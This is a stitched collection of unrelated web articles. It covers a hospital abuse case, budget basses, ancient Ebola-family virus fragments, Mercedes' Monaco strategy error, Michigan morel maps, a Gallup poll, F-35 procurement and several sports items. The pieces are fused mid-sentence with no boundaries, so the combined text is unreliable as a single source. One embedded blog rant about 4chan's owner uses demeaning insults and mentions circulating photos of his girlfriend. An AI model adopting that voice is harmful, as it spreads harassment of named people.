In a statement released Thursday afternoon, Nancy Roberts, chief operating officer at Providence St. Vincent, said the hospital continues to work closely with the sheriff's office.
"Caring for patients -- and keeping them safe -- is a privilege and a responsibility that we take very seriously," Roberts said.
Authorities ask anyone with information to contact Detective Robert Rookhuyzen at 503-846-2673.
-- Rebecca Woolington
503-294-4049; @rwoolington
The following clarification was published Sept. 15: A press release from the Washington County Sheriff's Office said Adeladilew A. Mekonen was accused of sex crimes involving two women. Mekonen is charged in Washington County Circuit Court with abusing one woman.We see and cover a ton of basses here at No Treble (I know, tough life). And while the features are often as varied as they get, they also vary wildly on price.
Many basses today are topping the $5,000 mark. Some by a lot. We hear more about price from readers when the basses hit these upper ranges than about the features.
But there have been plenty released in 2012 with street prices under $500 too. So we decided to take a look back at these low cost basses — all at once.
This is not a “best bass under $500” list – we don’t like those lists much anyway. We’ll leave that up to you decide.
Of course, if you have any experience or feedback on any of these basses, we always love hearing from you. Just drop a note in the comments.
Boulder Creek JB and RB Series Electric Basses Street prices: $489 to $499
Boulder Creek launched two new lines of electric basses at the 2012 Winter NAMM show with the introduction of the JB and RD series of basses. The two models are aimed at jazz and rock styles, respectively. This new line of solid body basses is a first for Boulder Creek, who is known for their acoustic basses. read more »
Traveler Guitar Ultra-Light Bass Street Price: $399 New for 2012 is the Traveler Ultra-Light Bass, an extremely lightweight and compact bass guitar. The whole instrument measures 33 3/4? in length and weighs in at a mere three pounds, 6.5 ounces. Built from a solid piece of Eastern American Hard Maple, the Ultra-Light Bass features a removable metal lap-rest and a built in thumb rest for comfort. It also has a custom piezo pickup for plugging in. read more »
Jackson X-Series Dave Ellefson Signature Basses Street prices: $400 – $500 Jackson unveiled two new Dave Ellefson signature basses at the 2012 Winter NAMM show as part of their X-Series. The Ellefson signature basses are offered in two models: the David Ellefson CB-X 4-string and the David Ellefson CB-XV 5-string. The CB-X is a four-string with dual humbucking EMG pickups with an alder Concert Bass body. The CB-XV Bass offers the same features of the CB-X, in a 5-string bass. read more »
Kala’s Five New U-Basses for 2012 Street Price: $450
Kala increased their U-Bass lineup with the addition of five new models of the 21? scale basses. The new models include Sunburst, Gloss Black, Solid Spruce Top HH (Hutch Hutchinson Model), Spalted Maple, and Exotic Mahogany. The Sunburst, Gloss Black, and Solid Spruce Top HH basses all feature solid spruce tops with mahogany back and sides. read more »
Höfner Shorty Bass Reissue Street Price: $278.00
Earlier this year, Höfner reintroduced the Shorty Bass, a model they ran in the 1980’s featuring an extremely short scale and body. The updated version bumps the scale up from 28? to 30? for easier playability, as well as utilizing better string spacing, similar to that found on their trademark Violin Bass. read more »
Squier Mikey Way Signature Mustang Bass Street Price: $299 Squier’s latest in their Artist Model Series is the Mikey Way Signature Mustang Bass, a short-scale bass made with input by the Chemical Romance bassist. The bass takes on the class Mustang features and adds some flair, with a large-flake Silver Sparkle finish with black racing stripes, with a black headstock with a silver Squier logo on the front, and Way’s signature on the back. read more »
Ibanez SGBE Acoustic Series Basses Street Price: $299 Ibanez SGBE announced a new SGBE series of acoustic bass guitars this year, available in natural and sunburst finishes. Also fit for electric sets, the basses feature under-saddle piezo pickups and Ibanez’s AEQ202T Preamp with a 2-band EQ as well as an onboard tuner. read more »
Eastwood Stormbird Bass Street Price: $469 Eastwood has issued the Stormbird, a bass with vintage-vibe and a Metallic Blue finish that conjures images of surf rock. The 34? scale bass sports a basswood body, set maple neck, and a rosewood fingerboard. The Stormbird is equipped with a pair of humbuckers with a three-way selector switch, and volume and tone controls for dialing in your tone. read more »
Michael Kelly Sojourn 4 Acoustic Travel Bass Street Price: $349.99 Michael Kelly unveiled the Sojourn 4 Travel Bass earlier this year. The compact acoustic bass guitar offers up a travel-friendly 24.5? scale and features a solid Englemann Spruce top. The company says the bass has a big sound for such a little bass. The Sojourn 4 comes equipped with a B-Band 22R UST (under saddle transducer) and B-Band A1.2 preamp. read more »
Epiphone Thunderbird Classic-IV PRO Basses Street Price: $499
Epiphone is unveiling a new version of a classic with the Thunderbird Classic-IV PRO. The bass is set apart from its siblings by being equipped with a pair of Gibson TB Plus Humbucking pickups featuring ceramic magnets, which the company says produce “high gain, smooth tone and high-end definition.” read more »
Höfner Ignition Series Club Bass Street Price: $399 Höfner has expanded their Ignition series with a new version of their Club Bass. First introduced in 1965, the Club Bass is is a hollow body, single-cut design, and the new Ignition model provides a cost-effective version for vintage bass lovers. read more »The tiger and the elephant and the polar bear may be stars at the Buffalo Zoo, but it was a humble wallaby that helped scientists prove that the family of viruses that gave rise to Ebola is tens of millions of years old, not a mere 10 millennia, as was previously supposed.
Jurassic Ebola.
The determination was made in recent years by scientists at the University of Buffalo who tested wallaby hair from the zoo along with a brown bat snared on campus to confirm what they had identified in existing databases for the first time: The genetic material of various small animals contains “fossil” fragments of filoviruses, the family that includes Ebola and Marburg.
“Who knew that the bats in the attic as well as modern marsupials harbored fossil gene copies of the group of viruses that is most lethal to humans?” co-author Dr. Derek Taylor said when the paper was published in BMC Evolutionary Biology in 2010. “Our findings demonstrate that filoviruses are, at a minimum, between 10 million and 24 million years old, and probably much older.”
Unlike other viruses such as HIV, the filoviruses lack the capacity to create their own DNA and were therefore assumed to be incapable of inserting themselves into a host’s genetic makeup.
Taylor and his co-authors, Dr. Jeremy Bruenn and Dr. Robert Leach, came upon the fossils by chance during a more general database search.
“It was a fortuitous discovery,” Bruenn told The Daily Beast last week. “I was looking for all viral genomes, and that’s what I found.”
The mammal profiles in the genetic databases included the wallaby, and the scientists decided to verify their finding by looking directly at the animal’s DNA. They asked the director of the Buffalo Zoo for some wallaby hair.
“We didn’t want to hurt the wallaby,” Bruenn says. “They shed hair.”
The zoo is blessed with multiple wallabies and was happy to oblige. The scientists were able to extract sufficient DNA from the roots, and they did indeed find the virus fossils. They got the same result from the campus bat.
Among the other small mammals studied in the databases were two rodents, the house mouse and the Norway rat, that diverged evolutionarily some 12 million years ago. And yet they proved to have the same virus fossils in the exact same chromosome amid billions of possibilities.
The finding suggested that the evolutionary roots of Ebola and its cousins predate the divergence, giving the filoviruses an absolute minimum age far older than the prior estimate, which had been made via mutation rates. The previous guess had been 10,000 years, around the time agriculture emerged. (The earliest fossils of anatomically modern humans are from about 200,000 years ago.)
“Instead of having evolved during the rise of agriculture, they more likely evolved during the rise of mammals,” Taylor said in 2010.
One remaining question was how those fossils got there when these particular viruses had been presumed to lack the capacity to insinuate themselves into an animal’s genetic makeup.
One possible answer was that the animal integrated fragments of the virus into its genes as a result of persistent infection.
This, in turn, raised the possibility that in the course of continued evolution, the mammals had incorporated the fossil as a genetic defense against the viruses—a kind of vaccine generated by natural selection.
And that could now help us in developing our own defenses against a virus for which there is presently no proven treatment.
The results also may accord insight into which animals might serve as hosts for Ebola, carrying the virus with no manifest ill effects.
“The reservoir for filovirus has remained a huge mystery,” Bruenn said in 2010. “We need to identify it because once a filovirus hits humans, it can be deadly.”
Bruenn’s words are now proving all too prescient.
But he and his colleagues are true scientists who prize knowing over being known, and they are not seeking public acclaim now that Ebola is in the headlines.
Bruenn suggested that he spoke to The Daily Beast only because he happened to pick up the phone. He is no lover of attention, and Taylor is said to be even less so, though one photo suggests he does like wallabies.How did Mercedes get it so wrong at the Monaco GP?
Lewis Hamilton finished the Monaco Grand Prix in third place after Mercedes pitted the race leader under Safety Car, leaving him behind Nico Rosberg and Se Lewis Hamilton finished the Monaco Grand Prix in third place after Mercedes pitted the race leader under Safety Car, leaving him behind Nico Rosberg and Se
With 15 laps to go in Sunday’s race, it all looked over.
The race in question being the Monaco GP, one could argue it had actually looked all over when Lewis Hamilton had led from pole position into the first corner. He went on to build a 25s lead. “I didn’t really have to push too much,” Hamilton said afterwards. “I could have doubled the lead if I needed it.”
Instead, he finished third behind Nico Rosberg and Sebastian Vettel after Mercedes made the decision to pit him for a second time under the safety car – a decision that immediately baffled and one which still does, even with more information to hand.
So why did Mercedes bring Hamilton in?
Because they were concerned about the challenge Vettel might pose in the final laps on supersoft tyres. Tyre warm-up had been an issue all weekend, with Ferrari blighted more than Mercedes. Even so, by that stage of the race Hamilton’s soft tyres were 26 laps old and he admitted afterwards he was concerned about the effect the drop in tyre temperatures behind the safety car might have on performance.
Vettel had been fastest in third practice – the first time teams had a chance to run on supersofts at a race weekend this season, after rain hit Thursday afternoon's practice session – and Mercedes feared he might get the jump on them at the re-start. “The potential risk could have been that Sebastian, switching on a softer tyre, coming up behind Nico could have been a risk at the end,” said Mercedes team boss Toto Wolff.
Yet Ferrari said they never considered the switch and it was Hamilton, the race leader, rather than Rosberg who ultimately lost out. And then there’s the question of whether Vettel, even with a tyre advantage, would have been able to get past at Monaco. Sunday’s Indianapolis 500 winner Juan Pablo Montoya (also a winner at Monaco in 2003) always reckoned he could have won there in an F3000 car had he started from pole.
What did they get wrong exactly?
The lead Hamilton had built had dropped to around 10s – not enough to retain P1 - by the time he actually pitted. The virtual safety car system was initially used after Max Verstappen’s collision with Romain Grosjean, with Hamilton and the rest of the field forced to drive to a slower delta time for safety reasons.
However, the safety car was then sent out – and Hamilton caught it at Tabac corner prior to his stop, allowing Rosberg and Vettel to gain vital seconds. “The simple answer is: we got the maths wrong,” admitted Wolff. “We got the calculation wrong. We thought we had a gap, which we didn’t have, when the safety car came out and Lewis was behind the safety car.”
Was it Hamilton’s call?
Speaking immediately afterwards, Hamilton said he’d seen a video screen, noticed the Mercedes pit crew and assumed that Rosberg – and Vettel – had already pitted. Still on harder, older tyres, he considered himself vulnerable and asked to follow suit.
According to him, the team initially asked him to stay out. But following a brief, frenetic – and ultimately mistaken – period of discussion, the final decision to bring Hamilton in was taken just 50m before the pit-lane entry.
“The decision had been made jointly with a lot of information at the same time,” Wolff said. “Within a fraction of seconds you need to make a call; we’ve tried to get as much input as possible from the engineers, from the management, from the driver and then take a decision in that case. The algorithm was wrong.”
Did the switch from the virtual safety car to the safety car confuse the decision?
It seems so. The VSC was used for the first time in a grand prix on Sunday and, by the sounds of it, the decision to then introduce the actual safety car needed some ad-hoc thinking. “It changes the amount of time loss that you’ll have,” Red Bull team boss Christian Horner said afterwards. “The virtual safety car freezes the race, the real safety car bunches it all up and maybe Lewis caught the safety car.
“It’s a different decision to the virtual safety car, so it’s quite confusing. It’s the kind of thing we try and rehearse.”
And if that wasn’t enough, Mercedes were hamstrung by the absence in Monaco of another tool used by F1 strategists. “We have no GPS,” said Wolff. “That makes the exercise more difficult, so this is why we got it wrong when it switched from the virtual safety car to the real safety car.”
Why, then, rely so much on data? Why not rely more on common sense?
Watching Hamilton throw away a nailed-on victory like that, it appeared the latter attribute was nowhere to be found at Mercedes on Sunday and an obvious question to ask is whether such an outbreak of 'analysis paralysis' would have happened had Ross Brawn still been running the show.
Yet Wolff insisted that “we have to follow the data, this is how the sport works”.
He added: “I think if you would count the probability and you would rather use gut feeling or data, you’d rather stick with the data.”
Don’t miss the F1 Midweek Report for analysis and reaction to the Monaco GP. Natalie Pinkham is joined by F1 journalist Will Buxton and Lotus reserve driver Jolyon Palmer on Wednesday at 8:30pm on Sky Sports F114 SHARES
By Jasmine Watts
Forest fires are devastating one year, but can bring a tasty bounty the next.
In hopes of helping morel hunters, the Michigan Department of Natural Resources (DNR) created an online map that highlights the state’s 2015 wildfires and prescribed burns.
“Morel mushrooms are often found in locations where large fires occurred the previous year,” said Jim Fisher, resource protection manager for the DNR Forest Resources Division. “Each spring we get calls from people who are seeking details on those sites to hunt morels.”
So the agency created a tool that lets the fungi finders use their cell phones in the woods to track down likely hunting grounds.
The map provides latitude and longitude coordinates and state-managed land boundary information for hunters to easily navigate the woods and to make sure they are on public lands. Each burn site on the map is more than 10 acres.
But there are no guarantees of success.
“While the map may provide details on the cover type that was burned, it’s up to the user to investigate whether morel mushrooms are growing at any location on the map,” Fisher said. “Just because a spot is marked on the map, it doesn’t mean morels will be growing at the area identified. We’re providing a resource, but it’s up to the hunters to head out to the forest and see what’s available.”
Morel hunters are excited to use the map.
“I think the maps are helpful because every year there are new hunters in the woods,” said Jerry Watson, vice president of the Michigan Mushroom Hunters Club. “I am leading a small group next week and may check out a location from the DNR burn site.”
Burn site morels come up through a layer of soot that is caught up in the crevices of the mushroom, he said.
“Morels are not the only mushroom in the woods of our state that benefit from a burn site,” Watson said. “The summer mushroom, the chanterelle, also benefits from burns.”
Tourism experts say the map is helpful because morel hunting is a popular past time that draws tourists. Some communities have morel festivals.
This year Boyne is hosting its 56th annual morel festival May 11-16.
“People come from all over the nation and some times even foreign countries for the festival,” said Jim Baumann, executive director of the Boyne Area Chamber of Commerce.
The festival includes competitive and guided mushroom hunts, a craft beer block party, concerts and tasting events where several restaurants serve hors d’oeuvres that have morels, he said.
“Morel hunting is a very big deal up here,” said Elizabeth Edwards, managing editor for Traverse, Northern Michigan Magazine and mynorth.com, a Traverse-City based magazine about life in Northern Michigan.
“Morel hunting can be fun for tourists,” she said. “It gets them out, gets them hiking, and they can bring home a delicacy.”
The map can be found here.PRINCETON, NJ -- Americans' concerns about the federal budget deficit and government dysfunction rose high enough in January to knock unemployment out of the top two slots on Gallup's "most important problem" list for the first time since 2009.
These results are based on a Jan. 7-10 Gallup poll, conducted just after Washington lawmakers narrowly avoided the fiscal cliff by virtue of a resolution that in part postponed the deadline for legislated sequestration of spending until March 1. Additionally, a debt ceiling deadline looms within the next two months.
The poll finds 20% of Americans mentioning the federal budget deficit as the top problem, compared with 18% mentioning dissatisfaction with some aspect of government or government leaders, and 16% naming jobs or unemployment.
This distribution of open-ended responses to the "most important problem" question underscores a general shift from the dominance of concerns about the economy and unemployment to an increasing focus on problems more directly associated with government. The economy and unemployment had ranked as the top two problems each month since December 2009.
Now, the "dissatisfaction with government" percentage is as high as it has been since the Watergate days of 1974, although the precise ways in which these open-ended questions have been coded has changed somewhat during that time. The percentage mentioning the deficit as the top problem is as high as it has been since 1996.
The percentage of Americans mentioning unemployment as the top problem, on the other hand, is the lowest since December 2009. As recently as September 2011, 39% mentioned it.
Guns and Gun Control at 4% of Mentions, Same as in December
Four percent of Americans name issues relating to guns and gun control as the nation's top problem, the same as in last month's survey, which came in the immediate aftermath of the mass shootings at an elementary school in Newtown, Conn. Four percent also mention taxes this month, the highest in over two years.
Republicans, Democrats Differ on Nation's Top Problem
Republicans and Democrats have significantly different responses to the "most important problem" question. The biggest difference is in terms of the federal budget deficit, mentioned by 30% of Republicans and Republican-leaning independents, compared with 12% of Democrats and Democratic-leaning independents. Democrats are more likely to mention dissatisfaction with government than are Republicans, and are slightly more likely to mention unemployment.
Bottom Line
The percentage of Americans naming the federal deficit and the way government operates as the top problems facing the country today are higher than they have been since the 1990s and the 1970s, respectively. The percentages mentioning the economy and unemployment, on the other hand, are lower than they have been in several years. These results suggest that average Americans are generally shifting their focus -- from worry about macroeconomic problems to worry about issues associated with the way government works.
These concerns may become even more salient in the weeks ahead. The federal government now faces a situation akin to the one in August 2011 -- with the amount of federal debt projected to exceed the mandated debt ceiling. Congress will soon need to act again to raise the debt ceiling. At about the same time, major cuts in federal spending for defense and domestic programs are scheduled to take place if Congress doesn't act on that front. Republican leaders have stressed that they want to tie spending cuts to any expansion of the debt ceiling, while President Obama has stressed the need to avoid defaulting on obligations at any cost.
These monthly "most important problem" updates don't provide direction from the public on exactly what Americans want their government to do to fix the problems cited. But Gallup's tracking provides clear evidence that Americans' concern about the debt and the way government operates is increasing.For those unhinged enough to think the 603bhp E63 S is underpowered, Brabus has a solution
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Currently in the TeamCT test garage, we have a Mercedes-AMG E63 S. And at no point have we thought: “Hmmmm, it could do with a little more power.” Far from it: it’s maddeningly, outrageously fast for anything with four wheels, let alone a circa two-tonne saloon car. And yet, you can - if you want - have a more powerful version. The car in question is the 700, and it is - of course - the work of Brabus. It’ll be brought along to the Frankfurt Motor Show along with the new S65 Cabriolet-based Rocket 900, and it’s had the wick on its 4.0-litre twin-turbo V8 turned up, resulting in 691bhp and 700lb ft of torque.
This makes the 700 good for 0-62mph time of 3.2 seconds, with the top speed unmoved at 186mph. For true autobahn heroics, Brabus is currently working a ‘Vmax Unit’ to raise that further. To ensure the V8 can achieve maximum shoutiness, Brabus has fitted a full stainless steel exhaust system. But don’t worry, it’s an adjustable system with a quieter ‘coming home’ mode, should you want to avoid being deeply hated by your neighbours.
The standard car’s range of optional 20-inch wheels are clearly not spangly enough, as Brabus has seen fit to add a set of 21-inch rims. The exterior is finished off with a range of carbonfibre aero pieces, including a new front splitter, rear spoiler and rear diffuser. On the inside, you’ll find two-tone black and red leather seats, with some rather tasty quilting going on. There are also lashings of Alcantara, as well as new aluminium gear shift paddles, pedals and door lock pins.I don’t have the long experience with 4chan, and its owner moot (Christopher Poole), that some of you have. I don’t know a lot about the culture there, outside of general stuff. I wasn’t totally ignorant of it before GamerGate, but it was a place I went to infrequently. When I did start going there often, in those early days of the revolt, I fell in love with it. 4chan was one of the last places upholding the principles of anonymity and free speech absolutism. At least, that was what I was led to believe. In reality, moot is no more committed to that, than he is to travelling to the moon. He sees the site as his property, and he disrespects the users as he sees fit. That’s certainly his right. I don’t see why anyone should respect him for it, though.
He removed the captcha post protection from the /pol/ board the other day, and it has been downhill ever since. A lot of posters think he won’t go through with his threats to delete the board, and I don’t know if he will myself. It does seem extremely stupid. Then again, it would suck to be called a cuck everyday by thousands of people, and to even have them post proof of it. Speaking of proof, someone sent me pics of moot’s Gawker girlfriend mocking us, along with a handy infographic (explains a lot). They’ve been posted on 4chan already. But here they are for those (like me) who missed them somehow, or forgot due to killed braincells (feel free to post anything else I may have missed in the #BasedCommentSection):
Honestly, I couldn’t care less about them mocking us. I mock things all the time. Comedy is good. The part I care about, is CuckMaster moot ruining a good thing, by being a little bitch. Even if he comes to his senses at this |
’s top ten.
Conclusion
In short, Sashi Brown has been a magician on both the draft board and the market. Along with Hue Jackson and Paul DePodesta, he is in the process of turning the Browns around. As of right now, it looks like it could be working. Most importantly, he has great eyes for value while drafting. Secondly, he knows exactly which free agents to sign, and when to sign them. Finally, he and the Browns are building for the future of the team. And that should be the music to the Dawg Pound’s ears.MONTGOMERY, Alabama --- Alabama is the only state where judges still override jury recommendations of life sentences to impose death sentences, National Public Radio reported Sunday.
The NPR story focuses on the case of Courtney Lockhart, convicted in the 2008 slaying of Auburn University student Lauren Burk of Marietta, Ga.
A Lee County jury recommended life without parole in the slaying, but Judge Jacob A Walker III imposed the death penalty instead.
Lockhart, an Iraq war veteran from Smiths Station, is appealing the sentence to the Alabama Supreme Court, according to the story.
According to evidence at the trial, Lockhart kidnapped Burk from a campus parking lot, forced her to undress, shot her in the back when she tried to escape from the moving vehicle and left her to die.
Defense lawyers argued that Lockhart had mental troubles caused by his combat experiences in Iraq. The judge, in imposing the death sentence, noted that Lockhart was a suspect in a string of robberies that the jury did not know about.
NPR reports that Florida and Delaware are the only two other states that still have laws on the books that allow judicial override but that they are not done in those states.
Last year, the U.S. Supreme Court declined to hear the appeal of an Alabama inmate sentenced to death over the jury's recommendation in the 2006 slaying of a Montgomery police officer.
Some critics of overrides in Alabama say it inserts politics into life-and-death decisions because judges are elected.Military reformers in the nation’s capital may have found a soul mate in a billionaire real estate magnate who takes a keen interest in what things cost, including big weapons systems.
The reformers — an alliance of watchdog activists, technocrats and former government auditors — have long bemoaned the delays and cost overruns that plague the Pentagon’s procurement of ships, guns and planes.
Now, President-elect Donald Trump seems to have joined them. He has taken to Twitter to blast the titans of defense contracting for what he sees as overpriced weapons, suggesting a procurement overhaul may be a top priority to Defense Secretary-nominee James N. Mattis.
“To say the least, we are a bit stunned, albeit pleasantly so,” said Thomas P. Christie, the Pentagon’s former top weapons tester who has long advocated lower-cost alternatives.
Mr. Trump met Dec. 21 at his Mar-a-Lago mansion in Palm Beach, Florida, with senior officers who will oversee the procurement side of a $619 billion defense budget this year.
Before the Florida summit, Mr. Trump tweeted a cancellation warning to Boeing Co. about the long-term costs of two new Air Force One planes. Then he took on the costliest weapon system in U.S. history: the Lockheed Martin F-35 Lightning II. The procurement history of the joint strike fighter jet is so pocked with trouble that Senate Armed Services Committee Chairman John McCain, Arizona Republican, has called it a “scandal and tragedy.”
Lockheed Martin Corp. and Boeing rank No. 1 and No. 2, respectively, as the Defense Department’s largest contractors based on revenue, according to Defense News.
If there is a networking headquarters for the military reform movement, it would be the Project On Government Oversight in Washington. For years, POGO has exposed defense industry malpractice while promoting what it sees as less-costly weapons options.
Dan Grazier, a former Marine captain who joined POGO in 2015 as a budget and weapons analyst, said he is “cautiously optimistic” about Mr. Trump’s tilt toward Pentagon reforms.
“It’s refreshing to hear someone taking on the military-industrial-congressional complex this way, because this is something we haven’t seen for many, many, many years,” Mr. Grazier said. “The fact that he’s able to at least get Boeing and Lockheed working to reduce cost, it’s a good shot across the bow. But there’s a big difference between words and action. He’s talking a really good game now. Now let’s see if he can actually translate it into action.”
Winslow Wheeler, a longtime reformer government auditor and Senate aide, said it’s impossible to predict what actions Mr. Trump will take but that the right path is a “drain the swamp” option of canceling the F-35 and building separate replacements for the A-10 close-air support jet used effectively against the Islamic State group, as well as follow-ons for the Navy F-18 Hornet and the Air Force F-16.
A big complaint from reformers is that the F-35 was doomed to cost explosions from the start because Les Aspin, defense secretary at the time, decided to make it a “joint” fighter — a single aircraft to serve the various and specific needs of the Air Force, Navy and Marine Corps.
Reformers say Lockheed’s F-16 Falcon is perhaps the most successful fighter program in history because the Pentagon forced the Air Force to design and build it only to its specifications. To a certain extent, the same holds true for the Navy and its carrier-based F-18.
The defense industry and its many supporters on Capitol Hill generally got what they wanted during a decade and a half in the war on Islamic terrorism. With weapons systems wearing out, even programs such as the $379 billion F-35, with its myriad problems, won the budget battle every year.
But their serenity was shattered by a White House-congressional budget deal known as “sequestration,” or mandatory spending cuts.
And now Mr. Trump has entered the arena.
“The F-35 program and cost is out of control,” he tweeted on Dec. 12. “Billions of dollars can and will be saved on military (and other) purchases after January 20th.”
Ten days later, the president-elect met with Boeing’s CEO and announced via Twitter that he asked the company to price its F-18 Super Hornet as a possible competitor to the F-35.
Only a few F-35s delivered
On paper, the F-35’s stealth, a 360-degree-vision helmet, and advanced software make the single-engine jet more capable than the twin-engine Hornet. But some Navy leaders said their service branch was left out of the expensive F-35 development in favor of continuing buys of the F-18 Super Hornet. The motive: The savings could be used to build more ships.
Boeing has not escaped Mr. Trump’s wrath. He flatly threatened to cancel plans to build two Air Force One craft slated for completion in 2022. “Costs are out of control, more than $4 billion. Cancel order!” he tweeted.
The Government Accountability Office estimates the development and procurement costs at $3 billion for what are essentially flying White Houses. The 747s will come with grand living quarters, advanced communications, defensive systems and avionics technology.
Mr. Trump’s $4 billion figure may include what are called “life cycle costs” from the program’s beginning through its service life, with repairs, new parts and maintenance.
The GAO and Pentagon testers have documented the F-35’s cost overruns, production delays and performance shortfalls for nearly a decade.
Planners for the Air Force, Navy and Marine Corps were wildly off base when predicting its price and schedule. The $379 billion total acquisition cost is double their initial estimates. The military was supposed to be flying more than 1,000 F-35s by now but has received fewer than 200.
In April, GAO examiners concluded that the F-35 may not be affordable because budget restraints limit yearly production, driving up per-plane costs. Soon, the Pentagon will need to spend more than $12 billion a year on procurement until 2038 to purchase 2,457 planes.
“It is unlikely the program will be able to sustain such a high level of annual funding and if required funding levels are not reached, the program’s procurement plan may not be affordable,” the GAO said.
Mr. McCain subsequently summoned the F-35 brain trust to a Senate hearing.
“Aircraft deliveries amount to no more than a mere trickle relative to the original promises of the program,” said Mr. McCain, who served as a Navy fighter pilot in Vietnam. “Because the Air Force, Marines and Navy were all counting on the F-35s that never appeared, combat aircraft and strike fighter capacity shortfalls in all three services have reached critical levels, severely impacting readiness.”
The few F-35s that have reached the services were operationally flawed. Mr. McCain had a list: “They have problems with maintenance diagnostic software, radar instabilities, sensor fusion shortfalls, fuel system problems, structural cracks from service life testing, engine reliability deficits, limitations on the crew escape system that cause pilot weight restrictions, and potential cyber vulnerabilities. This list is as troubling as it is long.”
Mr. Grazier said the F-35 is an example of “political engineering,” creating such broad grass-roots support that lawmakers do not dare vote against it.
“Contracts for the F-35 have been spread across the 45 states,” he said. “We estimate around 350 different congressional districts all over the country. So that is a lot of political support on Capitol Hill. Overcoming that is going to be a very difficult endeavor.”
Mr. Grazier would like the Trump administration to stop buying F-35s at least until initial tests and evaluations are completed to rule out even more defects. Lockheed built the F-35 concurrently, meaning the plane’s development overlapped its production.
‘Who is whispering in his ear?’
The reality is the F-35 program, begun 20 years ago, is so big and the fighter jets are so needed in the field that outright cancellation is unlikely. Eight NATO countries are partners with Lockheed. The Air Force and Marine Corps have declared initial operational capability for their deliveries.
But contracts with Lockheed Martin are negotiated at certain production stages, meaning Mr. Trump’s “Art of the Deal” approach may come into play to lower the price.
“It’s great that Donald Trump is having all the other execs in the defense industry sort of hopping to his tune, but the reality is Congress gets a vote on this,” Mr. Grazier said.
How true. For all the complaints, Congress increased the buy from 63 F-35s requested by President Obama to 74 in this year’s budget.
Reformers wonder who among Mr. Trump’s advisers is steering his focus to costly weapons. One Trump supporter said people should remember that Mr. Trump has spent his business career negotiating prices, including for his own airplanes.
“Who is whispering in his ear?” said Mr. Christie, who was in charge of weapons testing in President George W. Bush’s first term. “Surely, he hasn’t come down this hard strictly on his own. However he has come to issuing these tweets, he has certainly picked deserving fiascoes, especially the F-35. It will be interesting to see if his administration goes after these ‘out of control’ programs after Jan. 20. We are hopeful Mattis will be more than happy to follow through to crack down and, hopefully, roll back both the F-35 and Air Force One, as well as turn his attention to other debacles.”
Mr. Christie mentioned the Navy’s littoral combat ship and aircraft carrier USS Gerald R. Ford as other major programs that need the Trump treatment.
One of the top brass who visited Mr. Trump at Mar-a-Lago was Air Force Lt. Gen. Christopher Bogdan, who runs the F-35 program office. Whether he changed Mr. Trump’s mind is unclear.
Days later, Gen. Bogdan met with reporters to assert that the plane’s major problems had been eliminated.
“This program is not out of control,” Gen. Bogdan said, according to Bloomberg News. “Since 2011, we have basically been on schedule. Since 2011, we have basically been on budget.”
The history is, he said: “We put unrealistic schedules and budgets together. And then when we ran into problems we did not manage them very well.”
The program office says the total acquisition cost has decreased since 2014 from $400 billion to $379 billion.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Rossi agent: Too early to set return
By Football Italia staff
Giuseppe Rossi’s agent has claimed that it is too early to say whether the striker will be fit for the World Cup.
The Fiorentina forward injured his knee in the Viola’s 1-0 win over Livorno at the weekend. And despite rumours he could be back in eight weeks, Rossi’s representative has refused to comment on how long the goalscorer will be sidelined for.
“I’ll eat with him this evening and spend the rest of the day in his company,” Andrea Pastorello told Radio Crc.
“We are waiting for the results from Monday and only then can we decide on a return date.
“My feeling is a good one, but I’m not a doctor. I can say that Giuseppe looks well, but on Sunday it was the complete opposite – we all feared the worst.”BAGHDAD (Reuters) - Australia has reached an agreement with Iraq for its special forces to support Iraqi forces in their fight against Islamic State, Australia's Foreign Minister Julie Bishop said on Sunday.
"We have reached an agreement for a legal framework and now it will be a matter for our military when our special forces will be deployed," Bishop said at the conclusion of a two-day trip to Baghdad that included meetings with senior Iraqi officials.
Australian Prime Minister Tony Abbott said on Wednesday that 200 members of the special forces had not entered Iraq and had been waiting in the United Arab Emirates since mid-September because Baghdad had not offered them formal legal protections.
Bishop told reporters on Sunday the understanding would allow the Australian special forces "to be deployed here to advise and assist the government of Iraq in building up the capacity of the Iraqi security forces".
Australian fighter jets began hitting targets inside Iraq this month as part of the U.S.-led coalition to beat back the radical group Islamic State, which controls territory in both Iraq and Syria.
(Reporting By Ned Parker and Mahdi Talaat; editing by Susan Thomas)The deal is worth $775,000.Asham, 33, recently completed his first season with the Penguins. The veteran winger was one of Pittsburgh’s top performers during the postseason, leading the team with three goals and tying for the team lead with four points in seven games.During the regular season, the Portage La Prairie, MB native appeared in 44 contests, notching five goals, six assists and 11 points after originally signing as a free agent with Pittsburgh on August 20, 2010.The 5-foot-11, 205-pound forward joined the Penguins last summer just months after collecting seven points (4G-3A) in 23 postseason contests for the Philadelphia Flyers in 2009-10, helping the Flyers reach the Stanley Cup Final.Prior to joining Pittsburgh, Asham spent his first 10 seasons playing for Montreal, NY Islanders, New Jersey and Philadelphia after being selected by Montreal in the third round (71st overall) of the 1996 NHL Entry Draft. Heading into this season, Asham has amassed 190 career points (87G-103A) and 864 penalty minutes in 692 regular-season games. He has added 17 points (9G-8A) in 59 postseason contests.Before making his NHL debut with Montreal against the Penguins on Nov. 28, 1998, Asham spent four seasons with Red Deer of the Western Hockey League (WHL). In 266 career games with the Rebels, he posted 131 goals, 161 assists and 292 points.Melting polar caps, more frequent and stronger storms, rising seas levels…these are some of the scenarios we typically associate with climate change.
But there is a growing body of research that shows climate change can also provide the conditions for emerging infectious diseases to spread to new places and new hosts.
There are a number of ways in which this can happen. First of all, with the overall warming of the planet, animals and insects that carry disease are able to survive in places where they previously didn’t or can thrive longer than they were able to before. For example, tick season in the Midwest is starting earlier and ending later.
Secondly, extreme weather events associated with global warming like droughts or flooding can create situations in which disease carrying insects or animals can flourish.
Finally, climate change, as well as deforestation, could be pushing humans especially those in poor communities, deeper into the wilderness to find food sources. There, they come in contact with new diseases. That’s one of the theories of why and how diseases like ebola gain momentum.
Viruses like ebola are zoo-notic, meaning they originate from animals and can be transmitted to humans. When ecosystems change, wildlife as well as people come into contact with pathogens that they’ve never been exposed to before. Pathogens and their natural animal co-evolve and over time the host develops resistance. That doesn’t mean that the host doesn’t get sick or spread it around. But from an evolutionary standpoint, a successful pathogen is one that is highly contagious but doesn’t necessarily kill off its host-—especially before that host has spread those nasty germs around it’s hood.
But some pathogens—especially RNA viruses like ebola—have a tendency to mutate—and once in a while a spillover event occurs. That is, the virus can jump species from its natural host to another animal. This can have devastating impacts for the species that hasn’t encountered the disease before and has not developed any immune responses. The current ebola outbreak is believed to have originated from two year old boy in a remote village in Guinea who came in contact with bats or bat dropping while playing in a hollow tree.
